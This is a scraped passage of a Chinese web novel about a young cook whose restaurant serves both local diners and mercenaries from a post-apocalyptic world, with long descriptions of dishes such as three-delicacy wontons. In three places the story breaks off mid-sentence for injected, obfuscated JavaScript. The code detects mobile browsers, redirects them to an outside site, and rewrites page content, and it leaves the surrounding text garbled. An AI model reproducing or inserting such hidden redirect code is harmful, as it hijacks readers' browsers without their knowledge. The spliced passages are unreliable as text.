因为朋友说：“这就是你说那家特别好吃的饭馆，这大中午的，人怎么也没几个？看着不太妙啊。” 俞青也没来由的心虚，她赶紧联系杨新知：“老公，我来你说的那家牛肉酱特别好吃的店了，怎么感觉不对，是不是走错了？” 杨新知很快接通电话：“不是南来饭馆吗？” 俞青犹豫着说：“是叫南来饭馆没错，但是客人也太少了，只有两三个，我怕我是走错了。”手艺这么好的老板，饭馆不应该被踏破门槛才对吗？ “哈哈。”杨新知反而笑了，“这说明最近生意确实越来越好了，我去的时候，根本就没有客人！” “这太不合理了！”作为牛肉酱的忠实拥护者，俞青坚决捍卫牛肉酱对食客的吸引力。 “应该是这家饭馆位置有点偏，而且老板也太年轻了，让没吃过的实在不放心老板的厨艺，你试试就知道了。” 这倒是，俞青回忆起自己找到这家饭馆的过程，一路上七拐八拐，路过了许多经营各种餐饮的店铺，每次都满怀希望的去看招牌，结果没有一个对的上号，一直走到这条街深处，才找到了南来饭馆。 如果不是冲着南来饭馆来的，怕是在路上随便找了一家店就坐下来吃饭了。根本就发现不了这家从外头看着平平无奇的饭馆。 两人径直进店，一个客人正好提着一份打包盒离开，随着她走过，一股浅淡清甜的香气飘过来。 “两位客人点些什么？这是今天的菜单。”辛欢立刻走来。 俞青急急说：“刚才那位客人打包的是什么？” “是酒酿牛奶冰。”辛欢说。 “好吃吗？”俞青的朋友随口问道。 “好吃！”辛欢不会用多华丽的辞藻形容美食，她只是坦率道：“我一连吃了三碗，最后老板不敢再给我吃，把我从厨房赶走了。” 俞青两人看了一眼辛欢立刻笑了，这还是个半大孩子呢。 “那就来两份酒酿牛奶冰，两份肉酱凉面，一份柠檬鸡丝，对了，”俞青神秘的压低声音，好像在说什么接头暗号，“额外要十份牛肉酱，单独打包。” 8. 柠檬鸡丝 酒酿牛奶冰飞快地端上了桌，正好一解俞青二人一路走来的燥热。 俞青迫不及待地用瓷勺稍稍搅拌后就舀起一勺进嘴里，不止要喝上层的牛奶，还要带上沉在碗底的酒酿，这样一来每一口都融合了牛奶的香滑和酒酿的清甜，细腻质地混合着酒酿中米粒带来的咀嚼感，还有总是惊喜出现的小圆子，像一阵清凉的风迎面吹来，瞬间带走了让人烦躁的热气。 “好浓郁的奶香味！”俞青赞道。“还有淡淡的橙子香气，好清新。” 点单时，俞青说自己偏爱甜度低一点的酒酿牛奶冰，所以她这碗没加桂花蜜，加的是擦碎的新鲜橙子皮，不太甜又带着一股淡淡的橙子香。 “我这个加了桂花蜜的也好喝，又甜又不腻。” 两人顺便又吐槽了一下现在的牛奶味道越来越淡。 等吐槽得差不多，点的其他菜品也做好了。 俞青立刻指着肉酱凉面说：“就是这个牛肉酱，之前老杨给我带了点，几顿就吃完了，想了好几天，可把我馋死了。” 朋友带着揶揄说：“二十多块钱的凉面啊，俞青，要不是我相信你的品味，真不当这冤大头。” 俞青催促她：“那你赶紧尝尝！” 朋友把凉面拌开，保证每一根面条上都挂着酱汁和牛肉粒，啊呜一下吃进一大口，眼睛一下眯起来。 她来不及说话，先点了好几下头。 等嘴里的面条咽下去，才激动的说：“这个牛肉酱材料好扎实，都是酥酥香香的肉粒，没有那么多香菇丁、黄豆粒充数。面也特别爽滑，拌在一起绝了！这个是松仁吗？难怪有坚果香味。” 她吃着面，心里已经想着一会也打包点牛肉酱回去。刚才老板提醒过，肉酱不是密封包装，更没添加过什么防腐剂，放在冰箱里也应该尽快食用，不能把保质期当做市面上买的罐装牛肉酱一样长。 回想起这话，她确信老板实在是多虑了，就这点肉酱，用不了多久就能全吃完。 就在她想着该买多少牛肉酱时，对面的俞青突然疑惑的嗯了一声。 “怎么了，和你当时吃的不是一个味道吗？”朋友问道。 俞青奇怪道：“比那天的还好吃！” 她自顾自的嘀咕：“难道是因为饭馆里的面比我下的好吃？还是老板又改良了配方？看来还是得常来店里吃。” 两人一口气吃了半碗面，才想起来桌上还有一道柠檬鸡丝。 俞青：“我都忘了，快吃这道菜。本来想着鸡丝配凉面好吃，既然不单卖鸡丝凉面，就额外点份柠檬鸡丝，也能拌到面里。” 辛欢适时路过，提醒她：“客人，最近也上了鸡丝凉面，就在菜单上肉酱凉面下面，下次可以尝尝。” 俞青刚才还真没注意到，听了这话纠结的蹙着眉头：“可是牛肉酱……鸡丝……”她哪边都不舍得放弃，“唉！算了，这样吃更过瘾！” 朋友已经伸筷夹了鸡丝。烹饪好的鸡肉撕成小块，几乎每一块都带上一点点鸡皮，这是为了口感更有嚼头。仔细看鸡皮，颜色很深，竟然用的是乌骨鸡。 这有什么讲究？朋友带着好奇尝了一口，一股微辣中带着酸甜的清爽直击味蕾，鸡肉很是入味，完全不寡淡，相比普通鸡肉，肉质更嫩，却又带着一股韧劲。青柠檬的香味与入口就十分浓郁，小米椒的辣度却是慢慢攀升的，后劲很足。 她斯哈斯哈着吐气，手却控制不住的又探了一筷子下去。 “俞青，这个好吃，酸辣爽口！” 就是有那么一点辣，但仔细想想，如果舍弃了这点辣，这道菜的味道又没有那么惊艳了。可能这就叫痛并快乐着吧。 俞青赶紧跟上朋友，免得鸡丝都进了她那个无底洞似的胃里，你看这人，平时总说自己胃口小口味挑，这家菜太清淡，那家饭太油腻，现在筷子都不带停的，真奇怪。 吃了口柠檬鸡丝她就明白了。 “停！”她连忙叫停一场一触即发的争夺战。“一人一半。” 俞青把半盘鸡丝分到自己碗里，意外发现底下还垫着几片黄瓜，在料汁的浸润下十分入味，风味不输鸡肉，于是这点配菜也加入了分配的行列，一人三片。 就差把盘子也掰成两半了。 鸡丝拌进面里，又是一种再合适不过的搭配。 两个人把点的东西吃得一干二净，一个个盘子空空如也，看着还怪让人自豪的。于是拍了桌上的空盘发朋友圈，配字“你来你也这样”。 不一会就有好几个人问她在哪吃的饭，俞青挨个回复了南来饭馆的地址。 她想到这还小小的埋怨起老公杨新知来，吃到这么好吃的东西居然也能忍住，都不知道帮着宣传一下。也不想想现在餐饮多不好做，一个店面每几个月就能换一家新店，不赶紧多安利给朋友，这家店倒闭了怎么办？上哪去找这么好吃的食物？ 南来饭馆的客人不多，在俞青看来就很危险。 她上大学的时候，附近就有一家特别合她胃口的小店，俞青以每两天吃一次的频率光顾，结果小店还是关门了，让俞青悔不当初。从那以后，俞青每次吃到满意的饭菜，都不忘大力宣传。 离开前，俞青和朋友打着饱嗝，一人带着打包的十份牛肉酱满意地走了。 ———— 最近这段时间，南来饭馆的生意好了不少，客人的总数依然不算太多，但架不住来过一次的人不停地当回头客，硬是把营业额刷上去了一点。 南荼终于能确定，开这个饭馆真的能养活起自己。要知道刚开业的那一两个星期，哪怕没有房租这项支出，每天也是赔钱。那些用不完隔天就不新鲜的食材，南荼只好分给附近的街坊。食材虽然没浪费，钱包却是一天天瘪下去。 现在不同了，连孙英在菜市场见到她，一看车斗里装的食材分量，都说她的生意越来越好了。 手里刚赚了点钱，南荼就开始在饭馆里四处打量，看哪里需要添置什么。原来的面馆后厨有不少小炉灶，南荼接手以后也没拆，现在打算买一批砂锅回来，煲汤、炖菜、焖饭都能用上。 品质好的砂锅价格也很美丽，南荼一咬牙买了一批，不仅这些天的赚的钱投了进去，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097890|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒搭上一些。 她朝后门的位置扫了一眼。 如果位面客人再多上一些就好了。南荼可没忘记，纪项明出现的那次，一盘什锦炒饭，一壶冷泡茶，外加一罐牛肉酱，就让她赚了近五百块。 别的客人来过一次都成了回头客，位面客人……怎么离开了就不见人影了呢？ ———— 安金沙漠，纪项明所在的佣兵小队正在爆发一场激烈的争吵。 “出了这样的事，除了马上返程，还能做什么？” “你算过剩下的净水量吗？就算现在动身，真的能保证所有人都回得去天陵城？” “那要怎么办？学那些不入流的小队，把成员赶出去自生自灭？干了这种事，以后还怎么抬得起头做人！这个队伍还有凝聚力吗？以后还敢把后背交给队友吗？” “所以我说要留下来寻找异兽，喝异兽的血补充水分。” “有一大半的异兽血都有毒！哪就有那么好的运气，正好碰到无毒的、体型够大的异兽？” 激烈的争执中，夹杂着一个低落又悔恨万分的声音：“是我没看好水囊，对不起，让我离开吧，我是自愿的。” 昨天晚上，负责守夜的潘扬经验不足，没注意到装着最多水的大水囊被子午沙鼠啃了个洞，水流漏在沙地中一点声音都没有，瞬间就被吸收的干干净净。等早上众人起来，大水囊已经空了一半。 相比于珍贵的净水的损失，丢了些肉干、罐头就无足轻重了。 一众人仍然争执不休，潘扬说完这话，趁着大家的焦点不在他这里，一咬牙，毅然决然的冲着一个方向跑去。 默默站在一旁的纪项明一把抓着潘扬的背包带子把人扯回来。 他手仍然攥着潘扬的带子不放，突然扬声道：“到了现在这个地步，不如去我说的那个饭馆碰碰运气。” 所有人都没想过还有这个可能，一时都闭上了嘴巴，只是眼神相互接触中，仍然带着浓浓的困惑。 “解薇，你看见我带回来的牛肉酱了吗？”纪项明指了一人问道。 “看见了。”一头利落短发，额角有一道疤痕的解薇实话实说。她不仅看到了，还尝了呢，真好吃，夹在他们带的干面饼里，肉酱里的油脂浸到干巴巴的面饼里，连噎人的面饼都没有那么难以下咽了，更别提齿间碾过酥酥香香的肉粒，那种醇厚扎实的感觉，现在想想都幸福死了。 纪项明转身看向另一个人：“老段，咱们在天陵城同吃同住，也是一起收拾的行李，你见过我买了这罐牛肉酱，把它带到安金沙漠了吗？” 老段犹豫了一下，还是说道：“没有。” “那我的牛肉酱是哪来的？”纪项明掷地有声，一个个看过去。 队友们纷纷逃避他的目光。 因为太匪夷所思，大家并不相信他真的在沙漠里进过什么饭馆。纪项明也不是非要大家认同他，但到了生死攸关的时刻，他还是想赌一下，那个神秘的饭馆还在那，还能从那里得到食物和水。 也许这样，就不会有任何一个队友死在沙漠里。 9. 异兽肉干 一早从菜市场回来，南荼带回来几条大青鱼，并一兜新鲜河虾。 辛欢帮着把东西搬下来，看着还活蹦乱跳的青鱼，她有些好奇的戳了一下鱼身。鱼尾强劲有力的一卷，把一捧水强劲的甩到了辛欢脸上，辛欢也不恼火，反而觉得有趣。 “我有好多年没见到这么大的活鱼了。” 南荼也对辛欢的生活环境很好奇：“你们那里，平时都吃什么肉？” “最便宜也最经常吃的就是异兽肉。”辛欢细细说道，“异兽肉要靠佣兵捕杀才会有，城里是不敢饲养异兽的，哪怕是攻击性小的品种也严令禁止，就怕引发兽潮。” “佣兵们冒险进入安金沙漠，最希望的是收获多多的晶核，价值高又好携带，但也不是每次都如意，实在没有足够的收获，就带无毒的异兽尸体回去，也是一笔收入。每年的繁殖季，异兽肉最便宜，以前队里的阿姐告诉我，可以趁这个时候多囤一点，反正肉干能放好久。” 作为一个厨子，南荼对未知的食材当然十分感兴趣。 “异兽肉是什么味道的？”南荼按着激烈挣扎的鱼头，一刀背拍晕。 辛欢在一旁观摩，她认为杀鱼这件事应该是她的工作范围，可惜她连鱼都没见过几条，当然也不会杀了。等她学会了，这种杂事就用不着南荼费心了。 听到南荼的问题，她面露难色：“不同种类的异兽有不同的味道，但是各有各的难吃。粗硬、有酸味、有腥味、有臭味，或者像木头一样没有味道……” 辛欢伸出两根手指头：“每种肉至少占其中两个特点。” 南荼同情地看了她一眼：“忘了那些肉干吧，中午我们吃三鲜馄饨。” “好诶！我爱吃！”欢呼过后，辛欢又弱弱问：“三鲜馄饨是哪三鲜啊？” “那你好诶什么呢？”南荼无奈道，“三鲜是猪肉、河虾仁和鱼肉。” “我爱吃，南荼姐，你做的东西我都爱吃！” 三鲜馄饨虽然味道好，制作也很麻烦，青鱼要剔去鱼肉留出净肉不说，河虾仁也得一个个剥出来。河虾个头又小，剥出来的虾仁才指甲盖大小，要不是有辛欢在，南荼一整天都得围着馄饨的馅料打转，别的什么也做不了。 等所有食材都准备就绪，南荼把洗净的新鲜猪腿肉和青鱼肉剁成米粒状，加入河虾仁和其他调味料，搅拌均匀和成馅。 “面皮斜放在手掌着……挑一些馅进来。”南荼仔细教着辛欢怎么包馄饨。 辛欢不错眼地盯着南荼的动作，确定看清楚了才继续自己的下一步，翻卷面皮的一角包住馅，让手中的半成品馄饨呈三角形，下一步呢？ 南荼包馄饨的动作如行云流水，白皙的手指动作间简直像穿花蝴蝶，直到放慢了动作她才看清，原来是搭上翻卷处两端一收，做完这一步，手心里的元宝形馄饨已经成型了。 “我包好了！”辛欢露出一个大大的笑容。 南荼赞许道：“包的很好！” 虽然还没开门营业，但现在包馄饨正是时候，把调好的馅都包出来，能全卖掉是最好的，卖不掉放进冰柜里冻上，以后可以当员工餐。南荼和辛欢忙昏了头没时间给自己做饭的时候，就把馄饨拿出来，随吃随煮，也很方便。 不过这个想法还是没能实现。 就在料理台上整整齐齐的排列着大小均匀的生馄饨时，南荼听到了风铃清脆的响声。 末世位面的回头客来了。 纪项明抱着一挺机枪大步踏进来，把枪往前一送：“给我们几个足够的食物和水，这把枪就是你的！” 她要机枪干什么？！南荼捏着面皮的动作顿了顿，无语道：“大叔，你的黄金呢？” 纪项明脸色微红，黄金？当然是换了枪。他上次在安金沙漠丢了武器，回去就拿金条换了新枪。做佣兵这段时间，纪项明已经深刻体会到有失有得的意义，只要性命还在，没有什么舍不得的。 “没有黄金，晶核也一样能付饭钱。”南荼擦了擦手，轻轻拍在纪项明一出现就一个箭步冲到自己身前呈现保卫姿态的辛欢肩膀上。 “别担心，是客人。” 辛欢这才警惕地盯着纪项明慢慢让开。 “要晶核，我这里有！”另一个声音出现在门口。 看来这次的客人数量不少，南荼心情迅速转晴，连纪项明冒失的举动都抛在脑后了。 “几位吃点什么？今日特供三鲜馄饨，”南荼扫了一眼系统推荐价格，“一碗只要一个二级晶核。” 她把众人的神情尽收眼底，连辛欢的都没错过。 一个二级晶核在她这里相当于一百元，在末世位面里又是什么样的价值？会有人觉得贵吗？ 解薇面色如常，甚至觉得这个价格低得让人惊讶了。在他们这个处境，付的钱不是食物的价格，是他们性命的价格。 馄饨很好，有汤有馅，既能吃饱还能补充水分。她摸出两个三级晶核。“我们有七个人，就先来七碗三鲜馄饨。” “不好意思，小店概不找零。”南荼说。 终于听到一个稍显蛮横的要求了。解薇心里竟然松了口气，如果一进这个神奇的饭馆就受到了无微不至的热情接待，不论是谁都要警铃大作，怀疑这里是个彻头彻底的陷阱。对方态度差一些，她反倒觉得安心。 “那就十碗。”纪项明倒是体验过这个规矩，他们都是胃口大的佣兵，七个人吃十碗馄饨岂不是轻轻松松？ 南荼转身去煮馄饨了。 辛欢这会有点激动，她还是第一次接待和自己来自同一个位面的客人，很想让所有人都知道南来饭馆有多么出色，老板的手艺又是多么不凡。 “其他人不进来吗？”她向门口望去，明明是七个人的佣兵队，怎么只有两个人进门？ 当然是怕遇到危险全军覆没了。解薇面色不变，解释道：“队伍里有人受伤，身上血腥气重，怕惊扰了店主。” 辛欢觉得解薇很为饭馆考虑，不由得亲近了几分，主动说道：“你想得好周到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097891|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她略带责怪地看了一眼纪项明：“大叔，幸好现在没有别的客人在，否则你大咧咧地带着枪进来，说不定就吓到其他客人了！” 辛欢嘟嘟囔囔道：“我得提醒南荼姐定个规矩才行……” 解薇试探道：“这里还接待别的客人？” “当然了，只要是进门的客人，我们都接待。有像你们这样来自天陵城的客人，也有从别的地方来的，只要付得起钱，就是我们的客人。” 她暗戳戳地提点道：“老板的性格虽然很温柔，但如果谁影响了饭馆生意，老板也是会发脾气的。” 解薇和纪项明面面相觑，听这个店员的意思，好像这个开在沙漠里的饭馆有多少客人似的。而且还会有客人会被枪吓到？天陵城三岁的孩子都不怕枪了。 她视线一顿，猛然意识到一个道理：老板既然有本事让饭馆凭空出现在安金沙漠，那么让饭馆出现在别的地方，也不是那么难以理喻对吧？ 她和纪项明一同死死盯着卷帘门还没拉起来的前门，做佣兵的经历让他们会时刻关注周边的环境，听力更是敏锐，门外有拖拖拉拉的脚步声，偶尔的交谈低语和笑声，车子低沉的轰鸣，甚至还有隐约的叫卖声。 这扇门后面，是什么地方？ 绝不可能是安金沙漠！ 两人都有些僵硬，如坐针毡，潜意识告诉他们，装聋作哑，不去追根究底才是最优选择。 打断他们思考的是一阵淡淡的清鲜香气，幽幽的撩拨人的食欲。 一个个圆润饱满的馄饨在锅中轻轻翻滚，朦胧的水汽就像一层神秘的薄纱，馄饨就是波涛和迷雾中前行的扁舟，随后它们的航行到了终点，被南荼轻轻捞出盛入碗中。 另一只锅的清鸡汤已经滚开，南荼舀来一勺浇进碗中，汤汁倾泻而下，冲开了早早放入碗中的蛋皮、紫菜和香菜末，更复杂的醇香随即浮现。 解薇忍不住站起身，直直走向出餐口：“我去端给大家。” 纪项明连忙站起来帮忙。 安金沙漠，其他队员正缩在饭馆的阴影里，眼睛一眨不眨的盯着不远处的大门。 老纪和解薇怎么还不出来，要不要进去看看？ 大门在他们的殷切注视下终于开了，解薇和纪项明急匆匆的冲出来，一手端着一个碗，往队友手里塞：“快，快端着！” 潘扬手脚麻利的接过碗，警觉道：“该往那边跑？” 解薇一愣：“为什么要跑？” 潘扬不明白：“你们两个这急匆匆的架势，难道不是有危险……？” “……”解薇：“我着急是因为碗很烫。” 她加了一句：“你也别闲着，进来端馄饨。” 潘扬迷迷糊糊的进了门，迷迷糊糊的帮忙把馄饨分给了队友，又迷迷糊糊的与解薇几个人坐在了南来饭馆的桌子前。 “真的可以吃吗？”他抿了抿发干的嘴唇。 回答他的是解薇和纪项明暴风吸入三鲜馄饨的响声。 10. 三鲜馄饨 潘扬小心翼翼的夹起一个馄饨，脑海中想起了很多传说故事，比如天降横财得到的黄金其实是石头变的，饥肠辘辘时被妖怪引去吃山珍海味，吃到肚子里才发现是泥土沙子这一类的。 可是解薇他们都吃了…… 潘扬心一横，一口咬下，眼睛瞪得比吃到沙子石头还大。 这馄饨的外皮薄而有弹性，宛如丝绸般柔滑，在嘴巴里像条小鱼一样一甩尾巴就溜走了，当牙齿轻轻咬破那层薄皮时，先是有肉汁喷涌而出，然后在每一次咀嚼中，与馅料一同化开。 被外皮包裹的肉馅此刻失了禁锢，依然毫不松散，嫩滑而不失嚼劲，完整的河虾仁小巧玲珑，又增加了一种难言喻的鲜嫩。 可以说是只咬下这半个馄饨，就有一朵烟花在潘扬脑中忽然炸开。 太、太好吃了！ 他迅速把剩下的半个馄饨塞进嘴里，狼吞虎咽的下了肚，又去夹下一个，等碗中的馄饨去掉大半，潘扬又肉眼可见的放慢了速度，恋恋不舍的仔细品味。 这样一来，倒也有别样的收获。 清澈的汤汁中漂浮着细碎的紫菜、蛋皮丝和香菜碎，点点油花若隐若现，潘扬忍不住扶着碗边喝了一口。 首先感受到的是温吞的口感，在这样的天气丝毫不让人感到燥热，反而像是一股细细的涓流汩汩流淌，顺着口腔一直到喉间、胃袋，所过之处都让人暖洋洋的。然后才是汤汁的清鲜，不会厚重到压过馄饨，又叫人怎么也忘不掉。 看到愣神儿的潘扬，见识过三鲜馄饨烹饪过程的解薇在百忙中挤出时间和她解释：“好喝吧，我也不知道为什么这么好喝，不过这好像是鸡汤。” 这是鸡汤？怎么只有鸡汤的鲜美，没有鸡汤的油腻？潘扬百思不得其解。 就在他还在强忍着把面前的食物一扫而空的欲.望时，余光瞥见解薇和纪项明已经吃完了自己那碗馄饨。 潘扬内心有点小窃喜，吃那么快，这下只能看着他吃了吧！ 没想到解薇立即起身，转眼就又端了一碗满满的馄饨回来。 “啊？不是一人一碗吗？” “谁说的？”解薇说，“我买了十份。” 潘扬闻言立即没了顾虑，火速开动，恨不得把脸也埋在饭碗里去。 ———— 此刻饭馆外，潘扬的队友们一样在大快朵颐。 程凯风在之前的战斗中负伤，此时正靠在墙边闭着眼睛休息。因为他伤到的是右边的胳膊，所以得到了队友喂饭的待遇。 “先来一勺汤吧。”队友喃喃自语。 伤口疼痛，因此程凯风昨晚没有睡好，早在一众人还在纠结要不要进南来饭馆的时候就闭眼凝神，现在已经昏昏欲睡。 在半睡半醒中，有个汤匙触到嘴唇，他下意识地张开嘴巴，温热的汤水滑进嘴巴里，瞬间润湿了整个口腔。枯干的嘴巴因为这一口汤汁瞬间激活，全身上下都在叫嚣着想要更多。 他一个鲤鱼打挺坐直起来：“我活了！” 队友吓了一跳，纠正他：“你本来也没死。” 程凯风没有理会他，直勾勾的看着近在咫尺的这碗馄饨。澄澈的汤水中，漂浮着鼓鼓囊囊的馄饨，皮薄肚大，就差把“我很好吃”这行字写在脸上了。 “快啊！”程凯风努了努嘴，“快喂给我吃，啊……” 队友忍俊不禁：“来了，来了。” 白里透红的馄饨转眼就落入血盆大口，嘴巴的主人被溅出来的肉汁烫到，硬是一声不吭的忍住了，只一心陶醉在满溢在口腔中的鲜香。 坚硬的牙齿轻松穿透薄薄的面皮，破开新鲜青鱼肉和猪腿肉和成的肉馅，领略过水中和陆上不同的鲜美后，直抵到饱满Q弹的河虾仁。 小小的一个，稍稍用力就被牙齿利落地被斩断，虾肉的柔嫩鲜甜瞬间漫溢而出，甚至能感受到它在舌尖齿缝回弹的美好触感。 “好吃死了！”程凯风想自己现在的表情一定很狰狞。他有多久没吃过这样的美味了？ 甚至在以前看来称得上是“正常”的食物，都需要攒上好久的钱才能在天陵市那些卖价高昂的餐厅吃上一顿。 他永远也忘不了自己第一次吃异兽肉干的感受。当他的牙一接触到那根肉干时，就忍不住问卖肉干的人，这和吃树皮有什么区别。对方说，咬得动的是树皮，咬不动的是异兽肉干。没什么异味的是树皮，味道一言难尽的是肉干。 于是程凯风咬紧牙关，控制住酸痛的腮帮子，疯狂的甩动着脑袋，肉干终于在口中断开，虽然吃到了肉，却感觉更像是和活着的异兽肉搏了一场。 佣兵们总是笑称，异兽能帮助他们锻炼全身上下所有的肌肉，没有一处例外，而最后一步就是磨练咬肌。 吃了不知道多少肉干，程凯风也没有习惯这种食物，他只是认命了。 没想到有一天，他竟然能在安金沙漠吃到三鲜馄饨这样的惊为天人的美食！ 此时此刻，与他未曾谋面的南荼的身影在程凯风眼中已经像神祇一样高大。 如果这个饭馆能一直开下去，似乎连进入九死一生的安金沙漠都没那么灰暗了。 他再次张大嘴巴，催促队友投喂馄饨，感受着肉汁和肉馅在口中交融的过程，最后忍不住用左手夺过碗，把整碗汤汁一饮而尽，连一点香菜末都没剩下。 程凯风的右臂仍然在隐隐作痛，他席地而坐，甚至为了能够把全身都藏进难得的阴凉地里而蜷缩着，安金沙漠的风沙也从未停止过喧嚣。 在这种境况下，此刻的程凯风却只有一个感受。 好幸福。 很快，又有人端来新的一碗馄饨。 一众人无声地大口咀嚼，大口吞咽。 这么多年来所有的郁闷，所有的苦闷，都好像被发泄在了这碗馄饨中，咬碎的好像不是面皮和肉馅，是一切经历过的绝境，无数次的一退再退，一眼望的到头的未来，都化作给人能量的食物，填饱了自己的肚子。 吃到最后，整个人都熨帖极了，浑身都软了下来，只想仰躺在滚烫的沙地上看天。 这才是活着的感觉。 ———— 七个人一共吃了十九碗馄饨。 当天自然是没什么馄饨剩下，要不是南荼和辛欢动作快，提前包的馄饨都不够这几个人吃的。 他们付了四个三级晶核的价钱，因为南荼没法找零，作为补偿，她把纪项明他们小队的水囊灌满了。 这一举动让几个人兴高采烈，其中那个叫解薇的年轻女人还试探着问南荼，能不能把南来饭馆的位置告诉其他佣兵，叫这些人也来光顾。 南荼欣然同意：“只要守规矩不闹事，南来饭馆的大门对任何人都敞开。” 送走了难得的位面客人，南荼第一件事就是让系统把晶核转化成钱。 看到银行卡入账1900元，南荼脸上的笑意更大了。 “对了，”南荼问系统，“不是说接待位面客人到一定程度可以获得属性点奖励吗？我的进度怎么样了？” 南荼曾经获得系统赠送的一点属性点，加在了五感上，还别说，只是这一点属性点的加成，就让她在制作菜品的时候感觉更加得心应手，越发想体会一下属性点加在悟性和力量上会是什么样的感觉。 系统为难道：【进度嘛，现在只有一点点。】 南荼倒是不觉得失望，满打满算，她接待的位面客人才不到十个。相信等解薇几人回到天陵城帮她宣传一下南来饭馆，慕名而来的位面客人会更多。 在等待位面客人到来的时候，也不能忘了她这个世界的普通客人，毕竟位面客人虽然利润高但单量少，普通客人才是南来饭馆经营的基石。 系统这时候插嘴道：【招待位面客人足够多，不仅能获得属性点奖励，还能解锁新的位面。】 南荼不太在意的说：“有位面客人锦上添花虽然也不错，但普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097892|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通客人也够养活我了。” 系统急切道：“第一个位面等级不会太高，不能给宿主带来太多助益，将来有机会开启高级位面，获得了有特殊效果的物品，虽然不能随意用在客人身上，却可以帮助宿主增强身体素质。比如修仙位面的净尘丹，魔法位面的精灵果等等，都能帮助去除身体内的有害物质。” 这么一说，南荼才有了点兴趣。当厨子最大的危险是什么？职业病。 厨房油烟大，南荼的爷爷就是因肺病去世的，他不想让南荼接班做厨子，除了不忍心让她吃苦，也是不想让病痛找上门。 系统希望南荼多招待位面客人，南荼完全能理解。虽然系统没有明说，但从它回收晶核兑换货币，顺便还收了手续费的行为看，系统需要的可不是什么营业额，而是含有能量的晶核。 辛欢来到饭馆后，南荼对末世位面了解更多。她知道晶核之所以能成为硬通货，就是因为天陵城制造的许多武器都以晶核为能源的。日常生活中，晶核的作用也相当重要。 如果这样看，一切就合理了，南荼在自己位面的营业额再高，也和系统没什么关系，得不到什么好处，难怪它这样着急。 但她也不是那么轻易松口的，得先让系统明白现在的局势：“当初把饭馆丢进沙漠里，这也是你的失误。那是饭馆生意不好，有位面客人上门我肯定优先照顾，长久下去，重心自然就倾向过去了。现在生意好多了，位面客人却只有那么几个，可有可无，没什么意思，接待他们说不定还影响这边的客人，想想都麻烦。” 见南荼态度很消极，系统连忙松口：“第一个位面的体验感的确不佳，作为弥补，从现在起末世位面的晶核收购价提高20%。” 南荼不动声色道：“先收5%的手续费，再提高20%的收购价，还是先提高20%的收购价，再收5%的手续费。哎，我数学不好，你都把我弄迷糊了。” 系统一咬牙：【末世位面不收手续费！】 “只是这个位面不收手续费？还是以后……”南荼适时收回话头，“不过也是，不一定有下个位面了。” 【……】 【所有位面都不再收取手续费！】 如果系统有牙，这会该咬碎了。如果系统有心，这会也该疼坏了。可惜它什么都没有，又指望着南荼给它赚能量，可不就得一让再让？ 拿到了这么大的优惠，南荼也不打算把它逼急了，当下就说：“那我确实要想想办法，方便位面客人进店。” 一旁的辛欢打扫完了营业过后的饭馆，洗了手过来提醒：“南荼姐，你该给大家立个规矩，像今天这样拿着武器闯进来是肯定不行的！” 南荼正想到这点，如果不能在有普通客人在的时候放位面客人进店，那她一定会错过很多位面客人。可是位面客人情况特殊，怎么才能让两边和平相处、不起风波呢？ 她几乎没怎么思考就写下来几条注意事项，比如武器必须放在店外或背包里、身上血迹明显者不可进店、店内禁止挑衅斗殴等等。 佣兵在她的印象里一向是凶悍难管，他们会遵守南荼定的规则吗？ 辛欢呲了呲牙道：“不遵守的人，我来把他们轰出去！” 南荼捏了捏辛欢脸上还未褪的婴儿肥，这个她自己来就行了。 ———— 当天晚上，南荼做了一个梦。 她梦见店里坐满了客人，挤的水泄不通，生意好极了。只是定睛一看，椅子上的全是模样稀奇古怪的异兽，它们胃口特别大，把店里的食材一扫而空，还觉得不够吃。 可到了结账的时候，一个个都拒不付款，可把南荼给气坏了。 正火冒三丈时，南荼手里的擀面杖不知怎么变成了机.关.枪，气得她把这群吃霸王餐的异兽全突突了，落了满地的晶核，喜得她又立刻去捡。 等醒来时，想起自己做这个莫名其妙的梦，南荼都笑了，这都什么跟什么。 11. 豆花肥牛 江姚一中。 课间休息，几个女孩拉着潘悦宜讨论一个要好的同学过生日当天要去哪里吃饭。 临近期末，大家的复习时间都很紧张，即便这样，大家也一致希望能挤出中午午休的两个小时，为刘漪的生日吃饭庆祝。 学校附近的小餐馆都去腻了，菜色没什么新意。大家凑在一起讨论，就是希望群策群力，有人能提出好的建议。 “淮海路那里有一家干锅虾，最近很火爆，我去吃过两次，味道也不错。” 很快就有人否定这个提议：“怕是不行，他家要排队呢，我们时间不够。” “□□的那家火锅呢？” “上次莉莉过生日就吃的火锅，这次也去吗？换一个地方吧。” 